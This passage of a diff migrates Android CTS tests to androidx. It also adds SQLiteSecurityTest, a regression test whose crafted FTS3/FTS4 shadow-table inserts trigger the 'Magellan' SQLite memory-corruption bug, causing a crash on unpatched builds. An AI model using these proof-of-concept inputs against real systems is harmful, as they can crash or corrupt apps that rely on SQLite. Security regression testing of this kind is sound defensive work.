 import static org.junit.Assert.assertNotNull;
@@ -39,6 +23,22 @@
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
+import android.database.CharArrayBuffer;
+import android.database.CursorWindow;
+import android.database.MatrixCursor;
+import android.database.sqlite.SQLiteException;
+import android.os.Parcel;
+import android.test.suitebuilder.annotation.SmallTest;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Random;
+
 @RunWith(AndroidJUnit4.class)
 @SmallTest
 public class CursorWindowTest {
diff --git a/tests/tests/database/src/android/database/sqlite/cts/DatabaseTestUtils.java b/tests/tests/database/src/android/database/sqlite/cts/DatabaseTestUtils.java
index 5b52790..2836042 100644
--- a/tests/tests/database/src/android/database/sqlite/cts/DatabaseTestUtils.java
+++ b/tests/tests/database/src/android/database/sqlite/cts/DatabaseTestUtils.java
@@ -17,10 +17,11 @@
 package android.database.sqlite.cts;
 
 import android.content.Context;
-import android.support.test.InstrumentationRegistry;
 import android.support.test.uiautomator.UiDevice;
 import android.util.Log;
 
+import androidx.test.InstrumentationRegistry;
+
 /**
  * Common utility methods for testing
  */
diff --git a/tests/tests/database/src/android/database/sqlite/cts/SQLiteDatabaseTest.java b/tests/tests/database/src/android/database/sqlite/cts/SQLiteDatabaseTest.java
index 15b20d6..f901e9c 100644
--- a/tests/tests/database/src/android/database/sqlite/cts/SQLiteDatabaseTest.java
+++ b/tests/tests/database/src/android/database/sqlite/cts/SQLiteDatabaseTest.java
@@ -16,12 +16,8 @@
 
 package android.database.sqlite.cts;
 
-import java.io.File;
-import java.io.IOException;
-import java.util.ArrayList;
-import java.util.List;
-import java.util.Locale;
-import java.util.concurrent.Semaphore;
+import static android.database.sqlite.cts.DatabaseTestUtils.getDbInfoOutput;
+import static android.database.sqlite.cts.DatabaseTestUtils.waitForConnectionToClose;
 
 import android.app.ActivityManager;
 import android.content.ContentValues;
@@ -38,15 +34,17 @@
 import android.database.sqlite.SQLiteQuery;
 import android.database.sqlite.SQLiteStatement;
 import android.database.sqlite.SQLiteTransactionListener;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.uiautomator.UiDevice;
 import android.test.AndroidTestCase;
 import android.test.MoreAsserts;
 import android.test.suitebuilder.annotation.LargeTest;
 import android.util.Log;
 
-import static android.database.sqlite.cts.DatabaseTestUtils.getDbInfoOutput;
-import static android.database.sqlite.cts.DatabaseTestUtils.waitForConnectionToClose;
+import java.io.File;
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Locale;
+import java.util.concurrent.Semaphore;
 
 public class SQLiteDatabaseTest extends AndroidTestCase {
 
diff --git a/tests/tests/database/src/android/database/sqlite/cts/SQLiteOpenHelperTest.java b/tests/tests/database/src/android/database/sqlite/cts/SQLiteOpenHelperTest.java
index a620071..eb51afa 100644
--- a/tests/tests/database/src/android/database/sqlite/cts/SQLiteOpenHelperTest.java
+++ b/tests/tests/database/src/android/database/sqlite/cts/SQLiteOpenHelperTest.java
@@ -16,6 +16,9 @@
 
 package android.database.sqlite.cts;
 
+import static android.database.sqlite.cts.DatabaseTestUtils.getDbInfoOutput;
+import static android.database.sqlite.cts.DatabaseTestUtils.waitForConnectionToClose;
+
 import android.app.ActivityManager;
 import android.content.Context;
 import android.database.Cursor;
@@ -23,22 +26,17 @@
 import android.database.sqlite.SQLiteCursor;
 import android.database.sqlite.SQLiteCursorDriver;
 import android.database.sqlite.SQLiteDatabase;
+import android.database.sqlite.SQLiteDatabase.CursorFactory;
 import android.database.sqlite.SQLiteDebug;
 import android.database.sqlite.SQLiteGlobal;
 import android.database.sqlite.SQLiteOpenHelper;
 import android.database.sqlite.SQLiteQuery;
-import android.database.sqlite.SQLiteDatabase.CursorFactory;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.uiautomator.UiDevice;
 import android.test.AndroidTestCase;
 import android.util.Log;
 
 import java.io.File;
 import java.util.Arrays;
 
-import static android.database.sqlite.cts.DatabaseTestUtils.getDbInfoOutput;
-import static android.database.sqlite.cts.DatabaseTestUtils.waitForConnectionToClose;
-
 /**
  * Test {@link SQLiteOpenHelper}.
  */
diff --git a/tests/tests/database/src/android/database/sqlite/cts/SQLiteSecurityTest.java b/tests/tests/database/src/android/database/sqlite/cts/SQLiteSecurityTest.java
new file mode 100644
index 0000000..c34a5f5
--- /dev/null
+++ b/tests/tests/database/src/android/database/sqlite/cts/SQLiteSecurityTest.java
@@ -0,0 +1,152 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.database.sqlite.cts;
+
+
+import android.content.Context;
+import android.database.sqlite.SQLiteDatabase;
+import android.database.sqlite.SQLiteDatabaseCorruptException;
+import android.test.AndroidTestCase;
+
+/**
+ * This CTS test verifies Magellan SQLite Security Vulnerability.
+ * Without the fix, the last statement in each test case triggers a segmentation fault and the test
+ * fails.
+ * With the fix, the last statement in each test case triggers SQLiteDatabaseCorruptException with
+ * message "database disk image is malformed (code 267 SQLITE_CORRUPT_VTAB)", this is expected
+ * behavior that we are crashing and we are not leaking data.
+ */
+public class SQLiteSecurityTest extends AndroidTestCase {
+    private static final String DATABASE_NAME = "database_test.db";
+
+    private SQLiteDatabase mDatabase;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+
+        getContext().deleteDatabase(DATABASE_NAME);
+        mDatabase = getContext().openOrCreateDatabase(DATABASE_NAME, Context.MODE_PRIVATE,
+              null);
+        assertNotNull(mDatabase);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        mDatabase.close();
+        getContext().deleteDatabase(DATABASE_NAME);
+
+        super.tearDown();
+    }
+
+    public void testScript1() {
+        mDatabase.beginTransaction();
+        mDatabase.execSQL("CREATE VIRTUAL TABLE ft USING fts3;");
+        mDatabase.execSQL("INSERT INTO ft_content VALUES(1,'aback');");
+        mDatabase.execSQL("INSERT INTO ft_content VALUES(2,'abaft');");
+        mDatabase.execSQL("INSERT INTO ft_content VALUES(3,'abandon');");
+        mDatabase.execSQL("INSERT INTO ft_segdir VALUES(0,0,0,0,'0 29',X"
+            + "'0005616261636b03010200ffffffff070266740302020003046e646f6e03030200');");
+        mDatabase.setTransactionSuccessful();
+        mDatabase.endTransaction();
+        try {
+            mDatabase.execSQL("SELECT * FROM ft WHERE ft MATCH 'abandon';");
+        } catch (SQLiteDatabaseCorruptException e) {
+            return;
+        }
+        fail("Expecting a SQLiteDatabaseCorruptException");
+    }
+
+    public void testScript2() {
+      mDatabase.beginTransaction();
+      mDatabase.execSQL("CREATE VIRTUAL TABLE ft USING fts3;");
+      mDatabase.execSQL("INSERT INTO ft_segments VALUES(1,"
+          + "X'0004616263300301020003013103020200040130030b0200040131030c0200');");
+      mDatabase.execSQL("INSERT INTO ft_segments VALUES(2,"
+          + "X'00056162633132030d0200040133030e0200040134030f020004013503100200');");
+      mDatabase.execSQL("INSERT INTO ft_segments VALUES(3,"
+          + "X'0005616263313603110200040137031202000401380313020004013903140200');");
+      mDatabase.execSQL("INSERT INTO ft_segments VALUES(4,"
+          + "X'00046162633203030200030133030402000301340305020003013503060200');");
+      mDatabase.execSQL("INSERT INTO ft_segments VALUES(5,"
+          + "X'000461626336030702000301370308020003013803090200030139030a0200');");
+      mDatabase.execSQL("INSERT INTO ft_segdir "
+          + "VALUES(0,0,1,5,'5 157',X'0101056162633132ffffffff070236030132030136');");
+      mDatabase.setTransactionSuccessful();
+      mDatabase.endTransaction();
+      try {
+          mDatabase.execSQL("SELECT * FROM ft WHERE ft MATCH 'abc20';");
+      } catch (SQLiteDatabaseCorruptException e) {
+          return;
+      }
+      fail("Expecting a SQLiteDatabaseCorruptException");
+    }
+
+    public void testScript3() {
+      mDatabase.beginTransaction();
+      mDatabase.execSQL("CREATE VIRTUAL TABLE ft USING fts4;");
+      mDatabase.execSQL("INSERT INTO ft_segments VALUES"
+          + "(1,X'00046162633003010200040178030202000501780303020003013103040200');");
+      mDatabase.execSQL("INSERT INTO ft_segments VALUES"
+          + "(2,X'00056162633130031f0200ffffffff07ff5566740302020003046e646f6e03030200');");
+      mDatabase.execSQL("INSERT INTO ft_segments VALUES(384,NULL);");
+      mDatabase.execSQL("INSERT INTO ft_segdir VALUES"
+          + "(0,0,0,0,'0 24',X'000561626331780305020005017803060200');");
+      mDatabase.execSQL("INSERT INTO ft_segdir VALUES"
+          + " (0,1,0,0,'0 24',X'000461626332030702000401780308020005017803090200');");
+      mDatabase.execSQL("INSERT INTO ft_segdir VALUES"
+          + "(0,2,0,0,'0 24',X'000461626333030a0200040178030b0200050178030c0200');");
+      mDatabase.execSQL("INSERT INTO ft_segdir VALUES" +
+          "(0,3,0,0,'0 24',X'000461626334030d0200040178030e0200050178030f0200');");
+      mDatabase.execSQL("INSERT INTO ft_segdir VALUES"
+          + "(0,4,0,0,'0 24',X'000461626335031002000401780311020005017803120200');");
+      mDatabase.execSQL("INSERT INTO ft_segdir VALUES"
+          + "(0,5,0,0,'0 24',X'000461626336031302000401780314020005017803150200');");
+      mDatabase.execSQL("INSERT INTO ft_segdir VALUES"
+          + "(0,6,0,0,'0 24',X'000461626337031602000401780317020005017803180200');");
+      mDatabase.execSQL("INSERT INTO ft_segdir VALUES"
+          + "(0,7,0,0,'0 24',X'00046162633803190200040178031a0200050178031b0200');");
+      mDatabase.execSQL("INSERT INTO ft_segdir VALUES"
+          + "(0,8,0,0,'0 24',X'000461626339031c0200040178031d0200050178031e0200');");
+      mDatabase.execSQL("INSERT INTO ft_segdir VALUES"
+          + "(0,9,0,0,'0 25',X'00066162633130780320020006017803210200');");
+      mDatabase.execSQL("INSERT INTO ft_segdir VALUES"
+          + "(0,10,0,0,'0 25',X'00056162633131032202000501780323020006017803240200');");
+      mDatabase.execSQL("INSERT INTO ft_segdir VALUES(1,0,1,2,'384 -42',X'0101056162633130');");
+      mDatabase.execSQL("INSERT INTO ft_stat VALUES(1,X'000b');");
+      mDatabase.execSQL("PRAGMA writable_schema=OFF;");
+      mDatabase.setTransactionSuccessful();
+      mDatabase.endTransaction();
+      try {
+          mDatabase.execSQL("INSERT INTO ft(ft) VALUES('merge=1,4');");
+      } catch (SQLiteDatabaseCorruptException e) {
+          return;
+      }
+      fail("Expecting a SQLiteDatabaseCorruptException");
+    }
+}
+
+
+
+
+
+
+
+
+
+
+
diff --git a/tests/tests/debug/Android.mk b/tests/tests/debug/Android.mk
index c715d07..68e8f90 100644
--- a/tests/tests/debug/Android.mk
+++ b/tests/tests/debug/Android.mk
@@ -30,7 +30,7 @@
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner nativetesthelper
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt nativetesthelper
 
 LOCAL_JNI_SHARED_LIBRARIES := libdebugtest
 
diff --git a/tests/tests/debug/AndroidManifest.xml b/tests/tests/debug/AndroidManifest.xml
index 091e778..16537fb 100644
--- a/tests/tests/debug/AndroidManifest.xml
+++ b/tests/tests/debug/AndroidManifest.xml
@@ -23,7 +23,7 @@
     </application>
 
     <!-- This is a self-instrumenting test package. -->
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.debug.cts"
                      android:label="CTS tests of native debugging API">
     </instrumentation>
diff --git a/tests/tests/display/Android.mk b/tests/tests/display/Android.mk
index 97a1492..99efc20 100644
--- a/tests/tests/display/Android.mk
+++ b/tests/tests/display/Android.mk
@@ -27,7 +27,7 @@
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
 
 LOCAL_JAVA_LIBRARIES := android.test.base.stubs
 
diff --git a/tests/tests/display/AndroidManifest.xml b/tests/tests/display/AndroidManifest.xml
index cc2d154..41d1688 100644
--- a/tests/tests/display/AndroidManifest.xml
+++ b/tests/tests/display/AndroidManifest.xml
@@ -35,7 +35,7 @@
 
     <!--  self-instrumenting test package. -->
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="android.display.cts"
         android:label="CTS tests of android.display">
     </instrumentation>
diff --git a/tests/tests/display/src/android/display/cts/BrightnessTest.java b/tests/tests/display/src/android/display/cts/BrightnessTest.java
index f0ebc20..f057b73 100644
--- a/tests/tests/display/src/android/display/cts/BrightnessTest.java
+++ b/tests/tests/display/src/android/display/cts/BrightnessTest.java
@@ -19,7 +19,6 @@
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
@@ -34,11 +33,12 @@
 import android.os.ParcelFileDescriptor;
 import android.os.PowerManager;
 import android.provider.Settings;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.Pair;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
@@ -46,7 +46,6 @@
 
 import java.io.FileDescriptor;
 import java.io.FileInputStream;
-import java.io.IOException;
 import java.util.ArrayList;
 import java.util.HashMap;
 import java.util.List;
@@ -102,6 +101,10 @@
 
             grantPermission(Manifest.permission.BRIGHTNESS_SLIDER_USAGE);
 
+            // Sleep to work around a issue with events being recorded incorrectly
+            // on devices with sensors that require a warmup time.
+            Thread.sleep(2000);
+
             // Setup and remember some initial state.
             recordSliderEvents();
             setSystemSetting(Settings.System.SCREEN_BRIGHTNESS, 20);
diff --git a/tests/tests/display/src/android/display/cts/DisplayTest.java b/tests/tests/display/src/android/display/cts/DisplayTest.java
index c7ea939..cb8e7cd 100644
--- a/tests/tests/display/src/android/display/cts/DisplayTest.java
+++ b/tests/tests/display/src/android/display/cts/DisplayTest.java
@@ -21,7 +21,6 @@
 import android.app.Activity;
 import android.app.Instrumentation;
 import android.app.Presentation;
-import android.app.UiAutomation;
 import android.app.UiModeManager;
 import android.content.Context;
 import android.content.Intent;
@@ -36,9 +35,6 @@
 import android.os.Looper;
 import android.os.ParcelFileDescriptor;
 import android.platform.test.annotations.Presubmit;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
-import android.support.test.rule.ActivityTestRule;
 import android.test.InstrumentationTestCase;
 import android.util.DisplayMetrics;
 import android.view.Display;
@@ -47,11 +43,9 @@
 import android.view.ViewGroup;
 import android.view.WindowManager;
 
-import java.io.FileInputStream;
-import java.io.InputStream;
-import java.util.Scanner;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.After;
 import org.junit.Before;
@@ -59,6 +53,11 @@
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import java.io.FileInputStream;
+import java.io.InputStream;
+import java.util.Scanner;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
 
 @RunWith(AndroidJUnit4.class)
 public class DisplayTest {
diff --git a/tests/tests/dpi/Android.mk b/tests/tests/dpi/Android.mk
index 951827d..a4c3315 100644
--- a/tests/tests/dpi/Android.mk
+++ b/tests/tests/dpi/Android.mk
@@ -17,7 +17,7 @@
 
 include $(CLEAR_VARS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner junit
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt junit compatibility-device-util-axt
 
 LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
 
diff --git a/tests/tests/dpi/AndroidManifest.xml b/tests/tests/dpi/AndroidManifest.xml
index 32576f2..5457d92 100644
--- a/tests/tests/dpi/AndroidManifest.xml
+++ b/tests/tests/dpi/AndroidManifest.xml
@@ -27,7 +27,7 @@
                 android:configChanges="orientation" />
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.dpi.cts"
                      android:label="CTS tests for DPI">
         <meta-data android:name="listener"
diff --git a/tests/tests/dpi/src/android/dpi/cts/ConfigurationScreenLayoutTest.java b/tests/tests/dpi/src/android/dpi/cts/ConfigurationScreenLayoutTest.java
index d7c9366..d05e231 100644
--- a/tests/tests/dpi/src/android/dpi/cts/ConfigurationScreenLayoutTest.java
+++ b/tests/tests/dpi/src/android/dpi/cts/ConfigurationScreenLayoutTest.java
@@ -22,13 +22,13 @@
 import android.content.pm.ActivityInfo;
 import android.content.pm.PackageManager;
 import android.content.res.Configuration;
-import android.support.test.InstrumentationRegistry;
 import android.test.ActivityInstrumentationTestCase2;
 import android.util.DisplayMetrics;
 import android.view.Display;
-import android.view.ViewConfiguration;
 import android.view.WindowManager;
 
+import androidx.test.InstrumentationRegistry;
+
 public class ConfigurationScreenLayoutTest
         extends ActivityInstrumentationTestCase2<OrientationActivity> {
 
@@ -49,6 +49,14 @@
             tearDown();
             return;
         }
+        if (isPC()) {
+            // The test skips mainly for Chromebook clamshell mode. For Chromebook clamshell mode
+            // with non-rotated landscape physical screen, the portrait window/activity has special
+            // behavior with black background on both sides to make the window/activity look
+            // portrait, which returns smaller screen layout size.
+            tearDown();
+            return;
+        }
         int expectedScreenLayout = computeScreenLayout();
         int expectedSize = expectedScreenLayout & Configuration.SCREENLAYOUT_SIZE_MASK;
         int expectedLong = expectedScreenLayout & Configuration.SCREENLAYOUT_LONG_MASK;
@@ -163,4 +171,9 @@
         return (supportsLandscape && supportsPortrait)
                 || (!supportsLandscape && !supportsPortrait);
     }
+
+    // Check if it is a PC device
+    private boolean isPC() {
+        return hasDeviceFeature(PackageManager.FEATURE_PC);
+    }
 }
diff --git a/tests/tests/dpi/src/android/dpi/cts/ConfigurationTest.java b/tests/tests/dpi/src/android/dpi/cts/ConfigurationTest.java
index 144bdde..7ac5246 100644
--- a/tests/tests/dpi/src/android/dpi/cts/ConfigurationTest.java
+++ b/tests/tests/dpi/src/android/dpi/cts/ConfigurationTest.java
@@ -24,6 +24,9 @@
 import android.view.Display;
 import android.view.WindowManager;
 
+import com.android.compatibility.common.util.CddTest;
+import com.android.compatibility.common.util.FeatureUtil;
+
 import java.util.HashSet;
 import java.util.Set;
 
@@ -32,26 +35,35 @@
  */
 public class ConfigurationTest extends AndroidTestCase {
 
-    @Presubmit
-    public void testScreenConfiguration() {
+    private DisplayMetrics mMetrics;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
         WindowManager windowManager =
                 (WindowManager) getContext().getSystemService(Context.WINDOW_SERVICE);
         Display display = windowManager.getDefaultDisplay();
-        DisplayMetrics metrics = new DisplayMetrics();
-        display.getMetrics(metrics);
+        mMetrics = new DisplayMetrics();
+        display.getMetrics(mMetrics);
+    }
 
-        double xInches = (double) metrics.widthPixels / metrics.xdpi;
-        double yInches = (double) metrics.heightPixels / metrics.ydpi;
+    @Presubmit
+    public void testScreenConfiguration() {
+        double xInches = (double) mMetrics.widthPixels / mMetrics.xdpi;
+        double yInches = (double) mMetrics.heightPixels / mMetrics.ydpi;
         double diagonalInches = Math.sqrt(Math.pow(xInches, 2) + Math.pow(yInches, 2));
         double minSize = 2.5d;
-        if (getContext().getPackageManager().hasSystemFeature(PackageManager.FEATURE_WATCH)) {
+        if (FeatureUtil.isWatch()) {
             // Watches have a different minimum diagonal.
             minSize = 1.0d;
+        } else if (FeatureUtil.isAutomotive()) {
+            // Cars have a different minimum diagonal.
+            minSize = 6.0d;
         }
         assertTrue("Screen diagonal must be at least " + minSize + " inches: " + diagonalInches,
                 diagonalInches >= minSize);
 
-        double density = 160.0d * metrics.density;
+        double density = 160.0d * mMetrics.density;
         assertTrue("Screen density must be at least 100 dpi: " + density, density >= 100.0d);
 
         Set<Integer> allowedDensities = new HashSet<Integer>();
@@ -72,10 +84,22 @@
         allowedDensities.add(DisplayMetrics.DENSITY_560);
         allowedDensities.add(DisplayMetrics.DENSITY_XXXHIGH);
         assertTrue("DisplayMetrics#densityDpi must be one of the DisplayMetrics.DENSITY_* values: "
-                + allowedDensities, allowedDensities.contains(metrics.densityDpi));
+                + allowedDensities, allowedDensities.contains(mMetrics.densityDpi));
 
-        assertEquals(metrics.density,
-                (float) metrics.densityDpi / DisplayMetrics.DENSITY_DEFAULT,
+        assertEquals(mMetrics.density,
+                (float) mMetrics.densityDpi / DisplayMetrics.DENSITY_DEFAULT,
                 0.5f / DisplayMetrics.DENSITY_DEFAULT);
     }
+
+    @CddTest(requirement="2.5.1")
+    public void testAutomotiveMinimumScreenSize() {
+        if (!FeatureUtil.isAutomotive()) {
+            return;
+        }
+        float dpHeight = mMetrics.heightPixels / mMetrics.density;
+        float dpWidth = mMetrics.widthPixels / mMetrics.density;
+
+        assertTrue("Height must be >= 480dp, found: " + dpHeight, dpHeight >= 480);
+        assertTrue("Width must be >= 750dp, found: " + dpWidth, dpWidth >= 750);
+    }
 }
diff --git a/tests/tests/dpi2/Android.mk b/tests/tests/dpi2/Android.mk
index de8f65a..ec7b751 100644
--- a/tests/tests/dpi2/Android.mk
+++ b/tests/tests/dpi2/Android.mk
@@ -18,7 +18,7 @@
 include $(CLEAR_VARS)
 
 # We use the DefaultManifestAttributesTest from the android.cts.dpi package.
-LOCAL_STATIC_JAVA_LIBRARIES := android.cts.dpi ctstestrunner junit
+LOCAL_STATIC_JAVA_LIBRARIES := android.cts.dpi ctstestrunner-axt junit
 
 LOCAL_JAVA_LIBRARIES := android.test.base.stubs
 
@@ -33,6 +33,6 @@
 LOCAL_SDK_VERSION := current
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/dpi2/AndroidManifest.xml b/tests/tests/dpi2/AndroidManifest.xml
index f3d5be0..28b5579 100644
--- a/tests/tests/dpi2/AndroidManifest.xml
+++ b/tests/tests/dpi2/AndroidManifest.xml
@@ -27,7 +27,7 @@
          properly for the screen size attributes. -->
     <uses-sdk android:minSdkVersion="3" android:targetSdkVersion="17" />
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.dpi2.cts"
                      android:label="CTS tests for DPI">
         <meta-data android:name="listener"
diff --git a/tests/tests/dreams/Android.mk b/tests/tests/dreams/Android.mk
index 870a635..b27b989 100644
--- a/tests/tests/dreams/Android.mk
+++ b/tests/tests/dreams/Android.mk
@@ -24,7 +24,7 @@
 # When built, explicitly put it in the data partition.
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner junit
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt junit
 
 LOCAL_JAVA_LIBRARIES :=  android.test.runner.stubs android.test.base.stubs
 
diff --git a/tests/tests/dreams/AndroidManifest.xml b/tests/tests/dreams/AndroidManifest.xml
index e683700..4070187 100644
--- a/tests/tests/dreams/AndroidManifest.xml
+++ b/tests/tests/dreams/AndroidManifest.xml
@@ -23,7 +23,7 @@
     </application>
 
     <!-- This is a self-instrumenting test package. -->
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.dreams.cts"
                      android:label="CTS tests for the android.service.dreams package">
         <meta-data android:name="listener"
diff --git a/tests/tests/drm/Android.mk b/tests/tests/drm/Android.mk
index 2a7ee52..0b47c85 100644
--- a/tests/tests/drm/Android.mk
+++ b/tests/tests/drm/Android.mk
@@ -24,7 +24,7 @@
 # and when built explicitly put it in the data partition
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner compatibility-device-util
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt compatibility-device-util-axt
 
 LOCAL_JAVA_LIBRARIES := android.test.base.stubs
 
diff --git a/tests/tests/drm/AndroidManifest.xml b/tests/tests/drm/AndroidManifest.xml
index c4ea03d..5d8bb7e 100644
--- a/tests/tests/drm/AndroidManifest.xml
+++ b/tests/tests/drm/AndroidManifest.xml
@@ -21,7 +21,7 @@
         <uses-library android:name="android.test.runner" />
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.drm.cts"
                      android:label="CTS tests of android.drm">
         <meta-data android:name="listener"
diff --git a/tests/tests/dynamic_linker/Android.mk b/tests/tests/dynamic_linker/Android.mk
index ef122ca..7d1d574 100644
--- a/tests/tests/dynamic_linker/Android.mk
+++ b/tests/tests/dynamic_linker/Android.mk
@@ -39,7 +39,7 @@
 include $(CLEAR_VARS)
 LOCAL_MODULE_TAGS := optional
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt
 LOCAL_SRC_FILES := $(call all-java-files-under, .)
 LOCAL_MULTILIB := both
 LOCAL_JNI_SHARED_LIBRARIES := libdynamiclinker_native_lib_a libdynamiclinker_native_lib_b
diff --git a/tests/tests/dynamic_linker/AndroidManifest.xml b/tests/tests/dynamic_linker/AndroidManifest.xml
index db8099e..d417449 100644
--- a/tests/tests/dynamic_linker/AndroidManifest.xml
+++ b/tests/tests/dynamic_linker/AndroidManifest.xml
@@ -22,5 +22,5 @@
     </application>
     <instrumentation
         android:targetPackage="com.android.dynamiclinker"
-        android:name="android.support.test.runner.AndroidJUnitRunner" />
+        android:name="androidx.test.runner.AndroidJUnitRunner" />
 </manifest>
\ No newline at end of file
diff --git a/tests/tests/dynamic_linker/com/android/dynamiclinker/DynamicLinkerTest.java b/tests/tests/dynamic_linker/com/android/dynamiclinker/DynamicLinkerTest.java
index f0d7c4b..f2e19fe 100644
--- a/tests/tests/dynamic_linker/com/android/dynamiclinker/DynamicLinkerTest.java
+++ b/tests/tests/dynamic_linker/com/android/dynamiclinker/DynamicLinkerTest.java
@@ -16,8 +16,9 @@
 
 package com.android.dynamiclinker;
 
+import androidx.test.InstrumentationRegistry;
+
 import junit.framework.TestCase;
-import android.support.test.InstrumentationRegistry;
 
 public class DynamicLinkerTest extends TestCase {
 
diff --git a/tests/tests/effect/Android.mk b/tests/tests/effect/Android.mk
index adf2baa..f2fcc94 100644
--- a/tests/tests/effect/Android.mk
+++ b/tests/tests/effect/Android.mk
@@ -24,7 +24,7 @@
 # When built, explicitly put it in the data partition.
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/tests/effect/AndroidManifest.xml b/tests/tests/effect/AndroidManifest.xml
index 81f3bbf..5323fe6 100644
--- a/tests/tests/effect/AndroidManifest.xml
+++ b/tests/tests/effect/AndroidManifest.xml
@@ -22,7 +22,7 @@
     </application>
 
     <!-- This is a self-instrumenting test package. -->
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.effect.cts"
                      android:label="CTS tests of android.media.effect component">
         <meta-data android:name="listener"
diff --git a/tests/tests/externalservice/Android.mk b/tests/tests/externalservice/Android.mk
index c64c0ca..d5513e3 100644
--- a/tests/tests/externalservice/Android.mk
+++ b/tests/tests/externalservice/Android.mk
@@ -25,7 +25,7 @@
 
 LOCAL_PROGUARD_ENABLED := disabled
 
-LOCAL_STATIC_JAVA_LIBRARIES := CtsExternalServiceCommon compatibility-device-util ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := CtsExternalServiceCommon compatibility-device-util-axt ctstestrunner-axt
 
 LOCAL_JAVA_LIBRARIES := android.test.base.stubs
 
diff --git a/tests/tests/externalservice/AndroidManifest.xml b/tests/tests/externalservice/AndroidManifest.xml
index 0c5ea5d..c5c655e 100644
--- a/tests/tests/externalservice/AndroidManifest.xml
+++ b/tests/tests/externalservice/AndroidManifest.xml
@@ -23,7 +23,7 @@
     </application>
 
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="CTS external service tests"
         android:targetPackage="android.externalservice.cts" >
     </instrumentation>
diff --git a/tests/tests/externalservice/service/Android.mk b/tests/tests/externalservice/service/Android.mk
index 8563cb1..400891e 100644
--- a/tests/tests/externalservice/service/Android.mk
+++ b/tests/tests/externalservice/service/Android.mk
